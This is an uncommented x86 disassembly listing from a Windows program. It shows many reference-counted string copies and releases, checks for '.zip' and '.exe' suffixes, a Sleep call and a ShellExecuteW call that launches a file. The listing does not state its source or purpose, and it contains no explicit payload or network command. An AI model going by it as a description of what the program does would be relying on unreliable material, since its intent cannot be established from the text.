mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4120ab
cmp eax, dword [esi]
jne 0x4120ab
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4120e6
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x413107
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x30
mov edi, dword [esp + 0x68]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x41212b
cmp eax, dword [edi]
jne 0x41212b
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412166
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x31
mov edi, dword [0x48d28c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4121ad
cmp eax, dword [edi]
jne 0x4121ad
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4121e8
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x80]
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x41223a
cmp eax, dword [esi]
jne 0x41223a
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412275
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x413107
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x32
mov edi, dword [esp + 0x58]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4122ba
cmp eax, dword [edi]
jne 0x4122ba
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4122f5
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x33
mov edi, dword [0x48d28c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x41233c
cmp eax, dword [edi]
jne 0x41233c
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412377
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x40]
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4123c6
cmp eax, dword [esi]
jne 0x4123c6
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412401
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x413107
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x34
mov esi, dword [esp + 0x6c]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412446
cmp eax, dword [esi]
jne 0x412446
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412481
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x413107
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x18]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xe0], 0x35
mov edi, dword [0x48d28c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
mov dword [esp + 0x1c], edi
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4124c8
cmp eax, dword [edi]
jne 0x4124c8
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412507
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x413107
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + 4]
mov dword [edi + 4], eax
mov eax, dword [ecx + 4]
lea edx, [eax + eax + 2]
push edx
add ecx, 0x10
push ecx
lea eax, [eax + eax + 2]
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.004527e6
add esp, 0x10
add edi, 0x10
mov dword [esi], edi
lea esi, [esp + 0x48]
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x36
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa0]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x37
mov eax, dword [0x48d28c]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x38
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x3c]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x39
mov eax, dword [0x48d28c]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x3a
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x88]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x3b
mov eax, dword [0x48d28c]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x3c
mov eax, dword [esp + 0x8c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa8]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x3d
mov eax, dword [0x48d28c]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x3e
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x44]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x3f
mov eax, dword [0x48d28c]
mov dword [esp + 0x1c], esp
mov edi, esp
add eax, 0xfffffff0
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x40
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xb8]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x41
mov eax, dword [0x48d28c]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x42
mov eax, dword [esp + 0x98]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x78]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x43
mov eax, dword [0x48d28c]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov edi, dword [esp + 0xb8]
add esp, 8
lea eax, [edi - 0x10]
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.00413800
test eax, eax
jne 0x412b04
mov eax, dword [esp + 0x6c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.00413890
test eax, eax
jne 0x412b04
mov edx, dword [esp + 0x34]
cmp dword [edx - 0xc], eax
je 0x412b04
push 4
lea eax, [esp + 0x8c]
push eax
lea ecx, [esp + 0x28]
call fcn.00405510
mov byte [esp + 0xd8], 0x44
mov esi, dword [esp + 0x88]
cmp dword [esi - 0xc], 0
jl 0x412909
push str..zip
push esi
call fcn.00453025
add esp, 8
test eax, eax
je 0x4128e8
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x41296c
cmp dword [esi - 0xc], 0
jl 0x412909
push str..exe
push esi
call fcn.00453025
add esp, 8
test eax, eax
je 0x412909
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x41296c
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00453161
add esp, 4
push eax
push ecx
lea edx, [esp + 0x30]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.00405950
push ecx
mov byte [esp + 0xe4], 0x4c
lea eax, [esp + 0x38]
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call fcn.00405950
push ecx
mov byte [esp + 0xe8], 0x4d
lea edx, [esp + 0x30]
mov ecx, esp
mov dword [esp + 0x20], esp
push edx
call fcn.00405950
mov byte [esp + 0xe8], 0x44
call fcn.00413110
jmp 0x412ae1
mov eax, dword [esp + 0x9c]
push eax
call fcn.00453161
add esp, 4
push eax
mov eax, dword [esp + 0x78]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
add esp, 4
mov dword [esi], eax
mov byte [esp + 0xe0], 0x45
mov ecx, dword [esp + 0x44]
push ecx
call fcn.00453161
mov edx, dword [esp + 0x4c]
add esp, 4
push eax
push edx
call fcn.00453161
add esp, 4
push eax
mov eax, dword [esp + 0x48]
push eax
call fcn.00453161
mov ecx, dword [esp + 0x90]
add esp, 4
push eax
push ecx
call fcn.00453161
add esp, 4
push eax
mov eax, dword [esp + 0x48]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x38], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x46
mov eax, dword [esp + 0xb4]
add eax, 0xfffffff0
mov dword [esp + 0x30], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xfc], 0x47
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
mov dword [esp + 0xe8], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x100], 0x48
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0xe0], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x104], 0x49
mov eax, dword [esp + 0x54]
mov dword [esp + 0xe8], esp
mov esi, esp
add eax, 0xfffffff0
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x108], 0x4a
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0xf0], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x10c], 0x4b
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
mov dword [esp + 0xfc], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0x10c], 0x44
call fcn.0040a0b0
mov esi, dword [esp + 0xbc]
add esp, 0x34
lea eax, [esi - 0x10]
mov byte [esp + 0xd8], bl
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x412b04
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x8c]
inc eax
cmp eax, dword [esp + 0x98]
mov dword [esp + 0x8c], eax
jle 0x411780
mov eax, dword [esp + 0x24]
test eax, eax
je 0x412b85
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0xb4]
push 0x476ec4
push ecx
lea edx, [esp + 0x2c]
push edx
call fcn.00405610
mov eax, dword [eax]
add esp, 0xc
push 5
push eax
mov eax, dword [esp + 0xb8]
push 0
push eax
push 0x477320
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412b85
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x24
mov eax, dword [esp + 0x90]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412bb0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x23
mov eax, dword [esp + 0xa0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412bdb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x22
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412c06
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x21
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412c2e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x20
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412c59
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1f
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412c81
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1e
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412ca9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1d
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412cd1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1c
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412cf9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1b
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412d21
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1a
mov eax, dword [esp + 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412d49
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x19
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412d71
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x18
mov eax, dword [esp + 0x78]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412d99
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x17
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412dc4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x16
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412def
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x15
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412e17
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add edi, 0xfffffff0
mov byte [esp + 0xd8], 0x14
lea ecx, [edi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412e3b
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
mov byte [esp + 0xd8], 0x13
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412e63
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x12
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412e8b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x11
mov eax, dword [esp + 0x9c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412eb6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x10
mov eax, dword [esp + 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412ede
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xf
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412f06
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xe
mov eax, dword [esp + 0x94]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412f31
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xd
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412f59
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xc
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412f81
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xb
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412fa9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xa
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412fd1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 9
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412ff9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 8
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413021
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 3
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413049
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 2
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413071
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 1
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413099
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
